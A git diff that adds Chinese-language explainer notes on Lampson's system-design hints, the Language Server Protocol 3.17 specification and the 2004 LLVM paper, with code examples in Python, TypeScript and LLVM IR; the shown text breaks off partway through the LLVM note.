+## 日常类比串讲
+
+把系统想成一家连锁餐厅：
+
+1. **菜单（接口）**不能既含 200 道菜又要求出餐一致快——「Do one thing well」就是专注招牌菜
+2. **中央厨房 vs 分店灶台（Split resources）**：高峰时给热销档口专用炉位，比所有人抢一口锅更可控
+3. **外卖 App 显示「预计 30 分钟」（hint）**：可能不准，骑手到店前仍会看真实 GPS（truth）
+4. **打烊后核对收银机与库存（end-to-end）**：中间环节每个收银员点得再细，也不如日终对总账可靠
+5. **试营业店先开一个月再装修（Plan to throw one away）**：流程摸清后再定正式店面布局
+
+## 代码示例 1：接口「做一件事」——Unix 式管道组合
+
+Lampson 赞赏 Unix 小工具：每个程序接口简单，读入字符流、写出字符流，做好一件事。下面用 Python 模拟同一哲学——统计日志里 5xx 错误并按 IP 聚合，**不写一个巨型脚本**：
+
+```python
+#!/usr/bin/env python3
+"""模拟 Unix 管道：每个函数 = 一个简单接口，客户端（main）负责组合。"""
+import sys
+from collections import Counter
+
+def read_lines(stream):
+    """接口 1：字符流 → 行列表。只做 I/O。"""
+    return stream.read().splitlines()
+
+def filter_5xx(lines):
+    """接口 2：行 → 5xx 行。只做过滤。"""
+    return [ln for ln in lines if '"status":5' in ln or ' 5' in ln.split()[8:9]]
+
+def extract_client_ip(line):
+    """接口 3：单行 → IP。假设 combined log 格式。"""
+    # 极简解析，真实环境可用正则
+    parts = line.split()
+    return parts[0] if parts else "unknown"
+
+def count_by_ip(lines):
+    """接口 4：行列表 → 计数字典。"""
+    return Counter(extract_client_ip(ln) for ln in lines)
+
+def top_n(counter, n=10):
+    """接口 5：排序展示。Leave it to the client 决定 top 几。"""
+    return counter.most_common(n)
+
+if __name__ == "__main__":
+    lines = read_lines(sys.stdin)
+    errors = filter_5xx(lines)
+    counts = count_by_ip(errors)
+    for ip, cnt in top_n(counts, 5):
+        print(f"{ip}\t{cnt}")
+```
+
+设计要点：
+
+- 每个函数可单独测试、替换（例如 `filter_5xx` 换成正则版本不影响其他模块）
+- 没有「超级函数」同时解析、过滤、聚合、画图——**慢而强的单体接口会让不需要高级功能的客户端也付出代价**
+- 这与 Lampson「Make it fast, rather than general」完全一致
+
+## 代码示例 2：Hint + Truth + End-to-End
+
+文件系统里，**磁盘扇区 label** 是 truth（文件 ID + 页号）；**目录项里的页地址** 是 hint（可重建、使用前必须校验）。下面用 Python 演示同一模式在应用层的缩小版——带校验的页缓存：
+
+```python
+from dataclasses import dataclass, field
+from typing import Dict, Optional, Tuple
+
+@dataclass
+class PageLabel:
+    """Truth：写入磁盘前必须正确。"""
+    file_id: str
+    page_no: int
+
+@dataclass
+class FileSystem:
+    """极简文件系统：hint 加速查找，label 保证正确性。"""
+    labels: Dict[int, PageLabel] = field(default_factory=dict)  # disk_addr -> truth
+    page_map_hint: Dict[Tuple[str, int], int] = field(default_factory=dict)  # (file, page) -> disk_addr
+
+    def write_page(self, file_id: str, page_no: int, disk_addr: int) -> None:
+        label = PageLabel(file_id, page_no)
+        self.labels[disk_addr] = label
+        self.page_map_hint[(file_id, page_no)] = disk_addr
+
+    def read_page(self, file_id: str, page_no: int) -> Optional[int]:
+        """通过 hint 找地址，用 label 校验；hint 错了就失效并扫描重建。"""
+        key = (file_id, page_no)
+        addr = self.page_map_hint.get(key)
+        if addr is not None:
+            label = self.labels.get(addr)
+            if label and label.file_id == file_id and label.page_no == page_no:
+                return addr  # hint 命中且正确
+            del self.page_map_hint[key]  # hint 腐败，丢弃
+        # Brute force 重建路径（真实系统会 scan disk）
+        for a, lab in self.labels.items():
+            if lab.file_id == file_id and lab.page_no == page_no:
+                self.page_map_hint[key] = a
+                return a
+        return None
+
+# 演示：hint 被故意破坏后仍能靠 truth 恢复
+fs = FileSystem()
+fs.write_page("doc", 0, disk_addr=100)
+fs.page_map_hint[("doc", 0)] = 999  # 模拟 hint 错误
+assert fs.read_page("doc", 0) == 100
+```
+
+端到端延伸：若 `doc` 要通过网络复制到另一台机器，**仅校验中间每一跳是不够的**——必须在接收方对完整文件做 checksum，与源端比对；中间层 CRC 只是减少重传工作量（性能优化），不是逻辑必需。
+
+```python
+import hashlib
+
+def transfer_end_to_end(src_bytes: bytes, noisy_channel) -> bytes:
+    """应用层端到端：唯一判定成功的标准在终点。"""
+    digest = hashlib.sha256(src_bytes).digest()
+    payload = src_bytes + digest
+    received = noisy_channel(payload)  # 可能丢包/损坏
+    if len(received) < 32:
+        raise RuntimeError("incomplete transfer, retry")
+    data, got_digest = received[:-32], received[-32:]
+    if hashlib.sha256(data).digest() != got_digest:
+        raise RuntimeError("corrupted, retry")
+    return data
+```
+
+## 代码示例 3：正常路径与最坏路径分开
+
+Bravo 编辑器的 **piece table** 是 Lampson 举的经典案例：正常编辑只拆分 piece、追加新字符；piece 太多时**后台**做一次 compaction。下面用极简结构示意：
+
+```python
+from dataclasses import dataclass
+from typing import List, Tuple
+
+@dataclass
+class Piece:
+    start: int  # 在 underlying buffer 中的偏移
+    length: int
+
+class PieceTableEditor:
+    """正常情况 O(1) 插入；最坏情况触发 compaction。"""
+
+    def __init__(self, text: str):
+        self.buffer = text
+        self.pieces: List[Piece] = [Piece(0, len(text))]
+        self.compact_threshold = 50
+
+    def insert(self, pos: int, s: str) -> None:
+        # 正常路径：追加到 buffer，拆分 piece（省略边界查找细节）
+        off = len(self.buffer)
+        self.buffer += s
+        # ... 在 pos 处拆分并插入新 Piece(off, len(s)) ...
+        self.pieces.append(Piece(off, len(s)))  # 简化示意
+        if len(self.pieces) > self.compact_threshold:
+            self._compact_background()
+
+    def _compact_background(self) -> None:
+        """最坏情况 / 维护路径：合并成单 piece，换稳定结构。"""
+        self.buffer = self.render()
+        self.pieces = [Piece(0, len(self.buffer))]
+
+    def render(self) -> str:
+        return "".join(self.buffer[p.start : p.start + p.length] for p in self.pieces)
+```
+
+要点：**用户日常打字走快路径**；长时间编辑后的「卡顿」用批量整理解决，而不是让每次按键都承担全量复制的成本。
+
+## 与其他思想的联系
+
+| 概念 | 关系 |
+|------|------|
+| [[paxos]] / [[raft]] | 日志（Log updates）+ 可重启操作，是分布式里的原子/可恢复实例 |
+| [[tcp]] | 端到端可靠性由 TCP 保证；IP 层 hint 式转发不承诺送达 |
+| Parnas 信息隐藏 | Lampson 的「Keep secrets」与模块秘密一致 |
+| Brooks《人月神话》 | 「Plan to throw one away」直接呼应第二系统陷阱 |
+| RISC vs CISC | 「Make it fast, rather than general」的硬件版 |
+
+## 实践清单（给零基础读者的行动版）
+
+1. **画接口再写代码**：先写「客户端需要哪些假设」，再写实现；用一页纸列出三个冲突目标如何取舍
+2. **量测再优化**：Lampson 引用 Interlisp-D 靠 profiling 提速 10 倍——没有数据不要猜热点
+3. **默认路径要极简**：错误处理、边界情况可以慢，但 99% 的请求应走短路径
+4. **任何缓存都要有失效策略**：功能缓存（cache）与可能错的加速（hint）区分对待
+5. **第一版当原型**：尤其功能是新的时候，计划重写比否认现实便宜
+6. **过载时主动降级**：限流、丢低优先级任务、返回 503，优于全体用户一起卡死
+
+## 局限与争议
+
+Lampson 自己在开篇就列了免责声明：这些不是定律、不总适用、不少条目互相张力（例如「不要隐藏能力」vs「保持秘密」）。论文例子来自 1970–80 年代小型机与工作站，**直接照搬**到今日云原生或 GPU 集群会失真。但其价值在于提供**判断 trade-off 的词汇表**：当你在设计 API、缓存层、容错边界时，可以问——这是在优化功能、速度还是容错？动的是接口还是实现？用的是 truth 还是 hint？
+
+## 延伸阅读
+
+- 原文 PDF：[Hints for Computer System Design](https://bwlampson.site/33-Hints/Acrobat.pdf)
+- Saltzer, Reed, Clark：端到端原则经典文（Lampson 在容错章节引用）
+- David Parnas：「On the Criteria To Be Used in Decomposing Systems into Modules」
+- Jon Bentley：《Writing Efficient Programs》——Lampson 在速度章节推荐的补充读物
+
+## 一句话总结
+
+**Butler Lampson 用几十年造系统的经验告诉我们：好系统靠清晰的接口契约、对正常与最坏情况的分治、用 truth 约束 hint、以及在应用层端到端地验证正确性——简单、可分析、舍得用蛮力，往往胜过一开始就把所有聪明写进第一版。**
diff --git a/src/content/docs/papers/language-server-protocol-spec.md b/src/content/docs/papers/language-server-protocol-spec.md
new file mode 100644
index 000000000..84a455766
--- /dev/null
+++ b/src/content/docs/papers/language-server-protocol-spec.md
@@ -0,0 +1,343 @@
+---
+title: Language Server Protocol — 让编辑器共享同一套「语言大脑」的 USB 协议
+来源: https://microsoft.github.io/language-server-protocol/specifications/lsp/3.17/specification/
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Language Server Protocol（LSP，语言服务器协议）** 是 Microsoft 牵头维护的一份开放规范，定义了**编辑器/IDE（客户端）** 与**语言分析服务（服务端）** 之间如何通过 **JSON-RPC 2.0** 交换消息。当前稳定版本为 **3.17**（2022-05-10 发布）。
+
+日常类比：你去不同国家的医院看病，以前每家医院有自己的病历格式——北京一套、东京一套、柏林一套，换医院就得重新建档。LSP 相当于**国际通用的电子病历接口**：VS Code、Neovim、Helix、Zed、Emacs 都是「医院前台」，Rust Analyzer、Pyright、gopls、clangd 都是「专科医生」。前台只负责展示和收集症状（光标位置、打开的文档），医生只负责诊断（补全、跳转、诊断），双方说同一种「病历语言」，所以**写一次语言服务，所有编辑器都能用**。
+
+技术定义：LSP 在 JSON-RPC 之上定义三类消息——**Request**（要回复）、**Response**（回复结果）、**Notification**（单向通知，无 id）。消息按功能分成 **Lifecycle**（初始化）、**Document Synchronization**（文档同步）、**Language Features**（补全/跳转/诊断等）、**Workspace Features**（全项目符号搜索）、**Window Features**（进度条/日志）几大章。规范用 TypeScript interface 描述所有数据结构，但**不要求**实现语言必须是 TypeScript。
+
+## 为什么重要
+
+不理解 LSP，下面这些事都没法解释：
+
+- 为什么 VS Code 装一个 Rust 插件后，Neovim 用 `rust-analyzer` 也能得到几乎相同的体验——底层是同一套协议，不是同一套代码
+- 为什么 `gopls`、`pyright`、`typescript-language-server` 都能独立进程运行——编辑器通过 stdio / socket 跟子进程说话，崩溃不会拖垮整个 IDE
+- 为什么 Cursor / Zed 能「复用 VS Code 生态的语言服务」——它们实现的是 LSP **客户端**，不是重新实现每种语言的编译器前端
+- 为什么 MCP 规范里常提到 LSP——MCP 的设计直接借鉴了 LSP 的 **capability negotiation**（能力协商）模式
+
+## 核心概念
+
+LSP 3.17 规范可以拆成 **五层**，由下往上：
+
+### 1. Base Protocol（传输 + 帧格式）
+
+JSON-RPC 消息前面必须带 **LSP 报文头**（类似 HTTP header）：
+
+```
+Content-Length: 119\r\n
+\r\n
+{"jsonrpc":"2.0","id":1,"method":"initialize","params":{...}}
+```
+
+- `Content-Length`：后面 JSON body 的字节数（UTF-8）
+- 默认 `Content-Type`：`application/vscode-jsonrpc; charset=utf-8`
+- 传输通道常见为 **stdio**（子进程）、**socket**、**named pipe**；规范**不支持 JSON-RPC batch**（不能一次发多个 request）
+
+三种消息形态：
+
+| 类型 | 有 `id`？ | 需要回复？ | 典型用途 |
+|------|-----------|------------|----------|
+| Request | 是 | 是 | `textDocument/completion` |
+| Response | 是（匹配 request） | — | 返回补全列表 |
+| Notification | 否 | 否 | `textDocument/didChange` |
+
+### 2. 基本数据结构
+
+规范里几乎所有语言功能都围绕 **`[TextDocumentIdentifier, Position]`** 这一元组：
+
+```typescript
+// 规范中的 Position：0-based，line 是行号，character 是 UTF-16 码元偏移
+interface Position {
+  line: number;
+  character: number;
+}
+
+interface Range {
+  start: Position;
+  end: Position;
+}
+
+interface TextDocumentItem {
+  uri: string;      // 如 file:///path/to/main.rs
+  languageId: string; // 如 "rust"
+  version: number;    // 文档版本，每次变更递增
+  text: string;       // 全文（didOpen 时发送）
+}
+```
+
+**注意**：`character` 是 **UTF-16 code unit** 偏移，不是字节数也不是 Unicode 码点数。处理 emoji 或多字节字符时，客户端和服务端必须一致，否则跳转/补全会错位。
+
+### 3. Lifecycle（生命周期）
+
+连接建立后的固定顺序：
+
+```
+Client                          Server
+  |---- initialize (request) ---->|
+  |<---- InitializeResult --------|  （含 server capabilities）
+  |---- initialized (notify) ---->|
+  |---- 其他 request/notify ----->|
+```
+
+- **`initialize`**：交换 `ClientCapabilities` 与 `ServerCapabilities`，协商双方支持哪些功能
+- **`initialized`**：客户端通知「我准备好了」；服务端可在此后 **动态注册** 能力（`client/registerCapability`）
+- **`shutdown` / `exit`**：优雅关闭
+
+服务端在 `initialize` 响应里声明例如 `completionProvider`、`definitionProvider`；客户端在请求里声明例如 `textDocument.completion.contextSupport`。
+
+### 4. Document Synchronization（文档同步）
+
+客户端**必须**实现（不可 opt-out）的三条通知：
+
+| 方法 | 方向 | 含义 |
+|------|------|------|
+| `textDocument/didOpen` | C→S | 打开文档，附带全文 |
+| `textDocument/didChange` | C→S | 文档变更（**Full** 或 **Incremental** 同步） |
+| `textDocument/didClose` | C→S | 关闭文档 |
+
+服务端要么**三者全支持**，要么**三者全不支持**——不能只做 `didOpen` 不做 `didChange`。
+
+增量同步示例（客户端只发变更片段）：
+
+```json
+{
+  "jsonrpc": "2.0",
+  "method": "textDocument/didChange",
+  "params": {
+    "textDocument": { "uri": "file:///proj/main.ts", "version": 2 },
+    "contentChanges": [
+      {
+        "range": {
+          "start": { "line": 10, "character": 4 },
+          "end": { "line": 10, "character": 4 }
+        },
+        "text": "console.log('hi');\n"
+      }
+    ]
+  }
+}
+```
+
+### 5. Language Features（语言功能）
+
+在 `[document, position]` 上执行的核心能力，3.17 规范包括但不限于：
+
+- **Syntactic**：`completion`、`signatureHelp`、`hover`、`documentHighlight`
+- **Navigation**：`definition`、`typeDefinition`、`implementation`、`references`
+- **Semantic**：`documentSymbol`、`codeAction`、`codeLens`、`documentLink`
+- **Diagnostic**：`publishDiagnostics`（notification，服务端主动推）
+- **Formatting**：`formatting`、`rangeFormatting`、`onTypeFormatting`
+- **Refactoring**：`rename`、`prepareRename`
+- **3.17 新增**：`inlayHint`（类型/参数名内联提示）、`typeHierarchy`、`inlineValue` 等
+
+Workspace 级功能如 `workspace/symbol`（全项目搜索符号）、`workspace/executeCommand`（执行重构命令）在单独章节定义。
+
+### 6. Capabilities（能力协商）
+
+LSP 的核心设计哲学：**不假设对方支持一切**。双方只在 `initialize` 时交换能力表；若客户端没声明 `textDocument.completion.contextSupport`，服务端就不该依赖 `CompletionContext` 字段。
+
+动态注册示例（服务端在 `initialized` 之后注册 `willSaveWaitUntil`）：
+
+```json
+{
+  "jsonrpc": "2.0",
+  "method": "client/registerCapability",
+  "params": {
+    "registrations": [{
+      "id": "79eee87c-c409-4664-8102-e03263673f6f",
+      "method": "textDocument/willSaveWaitUntil",
+      "registerOptions": {
+        "documentSelector": [{ "language": "typescript" }]
+      }
+    }]
+  }
+}
+```
+
+## 实践案例
+
+### 案例 1：客户端发起「跳转到定义」
+
+用户在第 3 行第 12 列点击「Go to Definition」，客户端发送：
+
+```json
+{
+  "jsonrpc": "2.0",
+  "id": 42,
+  "method": "textDocument/definition",
+  "params": {
+    "textDocument": {
+      "uri": "file:///home/user/src/main.cpp"
+    },
+    "position": {
+      "line": 3,
+      "character": 12
+    }
+  }
+}
+```
+
+服务端返回 `Location` 或 `LocationLink[]`（3.14+，需客户端声明 `linkSupport`）：
+
+```json
+{
+  "jsonrpc": "2.0",
+  "id": 42,
+  "result": [{
+    "uri": "file:///home/user/include/util.hpp",
+    "range": {
+      "start": { "line": 15, "character": 0 },
+      "end": { "line": 15, "character": 20 }
+    }
+  }]
+}
+```
+
+LSP **故意不传输 AST 或类型图**——只传编辑器能直接用的 URI + Range。语言领域的复杂结构留在服务端进程内部，协议保持「薄」。
+
+### 案例 2：用 TypeScript 写一个最小 Language Server
+
+下面是一个能响应 `initialize` 和 `textDocument/completion` 的极简骨架（基于官方 `vscode-languageserver` 库）：
+
+```typescript
+import {
+  createConnection,
+  TextDocuments,
+  ProposedFeatures,
+  InitializeParams,
+  TextDocumentSyncKind,
+  CompletionItem,
+  CompletionItemKind
+} from 'vscode-languageserver/node';
+import { TextDocument } from 'vscode-languageserver-textdocument';
+
+const connection = createConnection(ProposedFeatures.all);
+const documents = new TextDocuments(TextDocument);
+
+connection.onInitialize((params: InitializeParams) => {
+  return {
+    capabilities: {
+      textDocumentSync: TextDocumentSyncKind.Incremental,
+      completionProvider: { resolveProvider: false }
+    }
+  };
+});
+
+connection.onCompletion((): CompletionItem[] => {
+  return [
+    {
+      label: 'helloLsp',
+      kind: CompletionItemKind.Function,
+      detail: 'Demo completion from minimal LSP server'
+    }
+  ];
+});
+
+documents.listen(connection);
+connection.listen();
+```
+
+编辑器用 stdio 启动这个进程后，库会自动处理 `Content-Length` 帧、`didOpen`/`didChange` 同步、以及 capability 握手——手写时最容易错的就是**帧格式**和**UTF-16 偏移**。
+
+### 案例 3：诊断推送（publishDiagnostics）
+
+与 request/response 不同，诊断是服务端**主动推送**的 notification：
+
+```json
+{
+  "jsonrpc": "2.0",
+  "method": "textDocument/publishDiagnostics",
+  "params": {
+    "uri": "file:///proj/app.py",
+    "diagnostics": [{
+      "range": {
+        "start": { "line": 4, "character": 0 },
+        "end": { "line": 4, "character": 10 }
+      },
+      "severity": 1,
+      "code": "E0001",
+      "source": "pyright",
+      "message": "Undefined name 'foo'"
+    }]
+  }
+}
+```
+
+客户端收到后在 gutter 画红波浪线。每次分析完成可全量替换该文档的 diagnostics 列表。
+
+## 踩过的坑
+
+1. **stdout 不能打 debug log**：stdio 传输时 stdout 专用于 LSP 帧，任何 `console.log` 到 stdout 都会破坏 `Content-Length` 解析。日志必须走 **stderr**。
+
+2. **UTF-16 character 偏移**：规范写死用 UTF-16 code unit。Rust/Python 里按字节或 Unicode scalar 算列号，和 VS Code 不一致时，补全范围会「偏一格」。
+
+3. **didOpen/didChange/didClose 必须成套**：服务端不能声明只同步 open 不同步 change；客户端也不能声称支持 LSP 却跳过 `didClose`。
+
+4. **capability 是双向契约**：服务端发了客户端不认识的 capability 字段，客户端应**忽略**而非报错；但服务端若用了客户端未声明的可选字段，行为未定义。
+
+5. **不支持 batch**：不能在一个 JSON-RPC batch 里塞多个 request。高并发场景要排队或 multiplex 多个连接。
+
+6. **3.17 的 WorkspaceSymbol 可延迟 resolve**：若服务端返回不带 range 的 `WorkspaceSymbol`，必须等客户端声明 `workspace.symbol.resolveSupport`，否则只能返回完整 `Location`。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 为一种编程语言提供 IDE 级功能，且希望 **VS Code / Neovim / Emacs / Zed 等多客户端复用**
+- 语言分析很重（类型检查、索引），需要**独立进程**隔离崩溃和 CPU
+- 团队已有编译器/分析器，只想加一层「编辑器适配」而非重写每个 IDE 插件
+
+**不适用**：
+
+- 只做单一编辑器、单一语言的深度集成 → 直接调编辑器原生 API 可能更简单（如 VS Code Extension API）
+- 需要**双向流式**大 payload（传整棵 AST）→ LSP 故意保持薄，应走自定义 RPC 或 LSIF
+- 亚毫秒级延迟的键入反馈 → JSON-RPC + 进程边界有固定开销；极端场景可能 in-process
+- 非文本文档（纯图形、Notebook 单元格语义）→ 需 Notebook Document Sync 扩展，比 plain text 复杂一个数量级
+
+## 历史小故事（可跳过）
+
+- **2016**：Microsoft 在 TypeScript 语言服务经验上提出 LSP，目标统一 VS Code 与其他编辑器的能力接入方式。
+- **2016-06-30**：发布 LSP 1.0；随后 Rust（RLS → rust-analyzer）、Go（gopls）、Python（Pylance/Pyright）等社区迅速跟进。
+- **2022-05-10**：LSP **3.17** 定稿，新增 Inlay Hint、Type Hierarchy、Inline Value、Notebook 同步增强等。
+- **LSIF**（Language Server Index Format）：LSP 负责「在线交互」，LSIF 负责「离线预计算索引」——大仓库 CI 里先跑 LSIF，IDE 再消费，与 LSP 互补。
+- **类比链**：LSP 之于编辑器 ≈ **MCP 之于 LLM 客户端**——都是 JSON-RPC + capability negotiation，让「工具」与「宿主」解耦。
+
+## 学到什么
+
+1. **协议故意停留在编辑器抽象层**：传 URI、Range、Diagnostic，不传 AST——降低客户端负担，把复杂度关在 language server 进程里。
+2. **能力协商先于功能调用**：`initialize` 是双向契约，不是服务端单方面「报菜单」；动态注册让功能可以按需启用。
+3. **文档同步是硬约束**：Language Features 再聪明，如果 `didChange` 版本和全文不一致，补全和诊断全是错的。
+4. **Notification 与 Request 分工明确**：诊断、日志、进度用 notification 推；需要结果的操作（completion、definition）用 request。
+5. **写一次，到处跑** 的真正成本在「测试矩阵」——同一 server 要对多种 client 的 capability 组合做兼容，而不是协议本身难写。
+
+## 延伸阅读
+
+- 规范全文：[LSP 3.17 Specification](https://microsoft.github.io/language-server-protocol/specifications/lsp/3.17/specification/)
+- 官方实现指南：[Implementing Language Server](https://microsoft.github.io/language-server-protocol/overviews/server/)
+- 官方客户端指南：[Implementing Language Client](https://microsoft.github.io/language-server-protocol/overviews/client/)
+- 参考库：[vscode-languageserver-node](https://github.com/microsoft/vscode-languageserver-node)（Node 服务端/客户端 SDK）
+- 规范仓库：[microsoft/language-server-protocol](https://github.com/microsoft/language-server-protocol)
+- LSIF 规范：[Language Server Index Format](https://microsoft.github.io/language-server-protocol/specifications/lsif/0.6.0/specification/)
+
+## 关联
+
+- [[tree-sitter-2018]] —— Tree-sitter 提供增量 CST，常与 LSP 配合做语法高亮；LSP 管语义，Tree-sitter 管结构
+- [[mcp-spec]] —— MCP 借鉴 LSP 的能力协商与 JSON-RPC 分层，可对比阅读
+- [[ast-grep]] —— 基于 Tree-sitter 的结构化搜索，与 LSP 的 refactor 路径不同但场景相邻
+- [[standard-ml]] —— 早期 IDE 多为单编辑器深度集成；LSP 代表「语言服务与 UI 分离」的现代路线
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
+（暂无反向链接）
+
diff --git a/src/content/docs/papers/lattner-llvm-2004.md b/src/content/docs/papers/lattner-llvm-2004.md
new file mode 100644
index 000000000..6e5f2747f
--- /dev/null
+++ b/src/content/docs/papers/lattner-llvm-2004.md
@@ -0,0 +1,257 @@
+---
+title: LLVM: A Compilation Framework for Lifelong Program Analysis & Transformation (Lattner & Adve, CGO 2004)
+来源: https://www.aaronbradley.org/cs6235/llvm-cgo04.pdf
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Chris Lattner 和 Vikram Adve 在 2004 年 IEEE/ACM CGO 会议上发表的这篇论文，描述了 **LLVM** 的原始设计动机和架构。LLVM 最初代表 *Low Level Virtual Machine*，如今已不再是缩写，而是整个编译器基础设施项目的品牌名。
+
+论文的核心主张只有一句话：**与其为每种语言从头写一套「前端 + 优化器 + 后端」，不如把「前端」和「后端」之间的中间层（IR）独立出来，做一套可复用的分析与变换框架——无论前端是 C、C++、Rust 还是 Swift，后端是 x86、ARM 还是 GPU——都能共享同一套优化管道。**
+
+这就是「Lifelong」（终身）的含义：IR 在编译期、链接期、甚至运行期都可以持续接受分析和优化，不必在某个阶段就固化成机器码丢弃。
+
+日常类比：你要开一家跨国连锁餐厅。
+
+- **传统编译器** = 每个国家单独建一条厨房线，厨师、工具、流程都不一样。法国厨师用法式做法，日本厨师用和式做法——彼此不能共用任何经验。
+- **LLVM 的做法** = 在所有国家用**同一种标准化菜谱格式（IR）**记录每道菜。不管原始菜谱来自法国料理书还是日本料理书，标准化之后都进入同一套「中间厨房」做统一优化（省时间、省材料），最后再按当地灶具（x86 / ARM）翻译成最终动作。
+
+## 为什么重要
+
+这篇论文发表时，LLVM 还是一个学术研究项目（2000 年起步于伊利诺伊大学香槟分校）。如今它已经是：
+
+1. **Apple 生态的基石**：macOS、iOS 的 Xcode 自 2011 年起全部使用 Clang/LLVM；Swift 语言本身就是以 LLVM 为目标设计的。
+2. **Rust 语言的默认后端**；Clang 作为 C/C++ 前端广泛替代 GCC。
+3. **GPU 编程**（NVVM / AMDGPU）、**WebAssembly**、**数据库 JIT**（PostgreSQL JIT）、**高性能语言**（Julia、Kotlin/Native）的后端。
+4. **2012 年获 ACM Software System Award**——这是对其影响力最直接的国际认证。
+
+理解这篇论文，就能理解「为什么 LLVM 能从一个博士论文成长到改变整个软件工程版图」。
+
+## 核心概念
+
+### 1. 三种 IR 形式
+
+LLVM 的 IR 有三种等价表示，各自服务于不同场景：
+
+| 形式 | 用途 | 类比 |
+|------|------|------|
+| **Assembly IR**（文本） | 人类阅读、调试、手写 | 菜谱的手写副本 |
+| **In-memory IR** | 编译器前端直接生成的内存结构 | 厨房里的电子菜单系统 |
+| **Bitcode**（二进制） | 持久化存储、跨模块链接 | 标准化的电子文件，可随时加载 |
+
+关键洞察：三种形式**完全等价**，可以互相转换。这意味着你可以在编译期把 IR 存成文件（bitcode），稍后在链接期或运行期再加载回来继续优化。
+
+### 2. SSA 形式（Static Single Assignment）
+
+LLVM IR 的每条指令都采用 **SSA 形式**——每个变量（寄存器）在整个函数生命周期内**只被赋值一次**。
+
+```c
+// 源程序
+x = a + b;
+x = x * 2;
+
+// 编译成 LLVM IR 后
+%1 = add i32 %a, %b    // %1 = a + b，只赋值一次
+%2 = mul i32 %1, 2     // %2 = %1 * 2，%1 不会被重新赋值
+```
+
+日常类比：SSA 就像给每个人的每段人生贴上时间戳标签。在 SSA 之前，「x」是一个人——可能早上是厨师、下午是服务员、晚上是收银员，你很难追踪「此刻的他」到底是谁。SSA 则把他拆成三段不重叠的人生：%1（厨师阶段）、%2（服务员阶段）、%3（收银员阶段）——每段都清晰、不可篡改，分析起来极其简单。
+
+### 3. 模块化优化管道
+
+LLVM 把优化拆成**独立的 Pass（.pass 阶段）**，每个 Pass 只做一件事：
+
+```
+前端 IR ──→ [EliminateDeadStores] ──→ [LICM] ──→ [InstCombine] ──→ [RegAlloc] ──→ 机器码
+```
+
+每个 Pass 接收前一阶段的 IR、做变换、输出新的 IR。Pass 之间通过 `FunctionPassManager` 协调。
+
+优势：
+- **可组合**：任意排列 Pass 顺序来探索不同优化策略
+- **可调试**：每个 Pass 前后都能输出 IR 做对比
+- **可复用**：一个写好的 Pass 可以被所有前端（C、C++、Rust、Swift）共享
+
+### 4. 前端/后端分离
+
+```
+  C 源码          C++ 源码         Rust 源码         Swift 源码
+   │                 │                │                │
+   ▼                 ▼                ▼                ▼
+ GCC frontend    Clang frontend    rustc frontend   Swift frontend
+   │                 │                │                │
+   └────────┬────────┴────────┬───────┴────────────────┘
+            │                 │
+            ▼                 ▼
+          LLVM IR（统一中间表示，与语言无关）
+            │
+            ▼
+    ┌───────┴────────┐
+    │   优化 Pass 管道   │  ← 所有语言共享
+    └───────┬────────┘
+            │
+            ▼
+    ┌───────┴────────────┬────────────┐
+    │                    │            │
+    ▼                    ▼            ▼
+  x86 后端            ARM 后端      GPU 后端
+    │                    │            │
+    ▼                    ▼            ▼
+  x86 机器码          ARM 机器码     PTX / AMDGPU 码
+```
+
+这就是「终身」的含义：**IR 是活的**。从语言前端到最终机器码，中间每一阶段 IR 都可以被保存、加载、再分析、再优化。
+
+## 代码示例一：C 代码到 LLVM IR
+
+下面展示一段简单的 C 函数如何被编译成 LLVM IR。
+
+```c
+// --- 源程序：C 代码 ---
+int add(int a, int b) {
+    return a + b;
+}
+```
+
+```llvm
+; --- 编译成 LLVM Assembly IR ---
+define i32 @add(i32 %a, i32 %b) nounwind {
+entry:
+    %result = add i32 %a, %b    ; 每个变量只赋值一次（SSA）
+    ret i32 %result
+}
+```
+
+注意：
+- `i32` 表示 32 位整数，类型系统嵌入在 IR 中
+- `%a` 和 `%b` 是函数参数，%result 是 SSA 变量
+- 没有控制流——函数太简单，不需要基本块（basic block）之间的跳转
+
+### 更复杂的示例：带循环的求和
+
+```c
+// --- 源程序：C 代码 ---
+int sum(int n) {
+    int total = 0;
+    for (int i = 0; i < n; i++) {
+        total += i;
+    }
+    return total;
+}
+```
+
+```llvm
+; --- 编译成 LLVM Assembly IR ---
+define i32 @sum(i32 %n) nounwind {
+entry:
+    %total = alloca i32           ; 在栈上分配变量 total
+    %i = alloca i32               ; 在栈上分配变量 i
+    store i32 0, ptr %total       ; total = 0
+    store i32 0, ptr %i           ; i = 0
+    br label %loop               ; 跳到循环头
+
+loop:                             ; 循环基本块
+    %i.val = load i32, ptr %i    ; 读 i
+    %cond = icmp slt i32 %i.val, %n  ; i < n ?
+    br i1 %cond, label %body, label %exit  ; 条件分支
+
+body:                              ; 循环体
+    %total.val = load i32, ptr %total
+    %i.val2 = load i32, ptr %i
+    %sum = add i32 %total.val, %i.val2    ; total += i
+    store i32 %sum, ptr %total
+    %i.next = add i32 %i.val2, 1          ; i++
+    store i32 %i.next, ptr %i
+    br label %loop                ; 回到循环头
+
+exit:                              ; 退出点
+    %final = load i32, ptr %total
+    ret i32 %final
+}
+```
+
+这个 IR 展示了 LLVM 的几个关键特征：
+
+- **基本块（entry / loop / body / exit）**：用 `br` 和条件分支连接，形成控制流图（CFG）
+- **SSA 限制**：由于 IR 本身要求每个寄存器只赋值一次，但 C 语言中 `total` 在循环里被多次修改，所以编译器用 `load`/`store` 配合栈上的 `alloca` 变量来处理这种「可重写」的场景。
+- **优化潜力**：这个 IR 还能被进一步简化——例如循环不变量消除、标量替换、甚至整个循环被 `total = n * (n-1) / 2` 取代。这就是「终身分析」的妙用。
+
+## 代码示例二：LLVM 的优化 Pass 能做什么
+
+假设一段 C 代码包含循环不变量：
+
+```c
+// --- 源程序 ---
+int slow(int n, int* arr) {
+    int sum = 0;
+    int limit = 100 * 3;  // 100 * 3 是循环不变量
+    for (int i = 0; i < n; i++) {
+        if (arr[i] < limit) {
+            sum += arr[i];
+        }
+    }
+    return sum;
+}
+```
+
+LLVM 的优化管道会逐步处理：
+
+```
+Pass 1 [LICM - 循环不变量代码移动]:
+  把 limit = 100 * 3 移到循环外面（不再每次迭代重算）
+
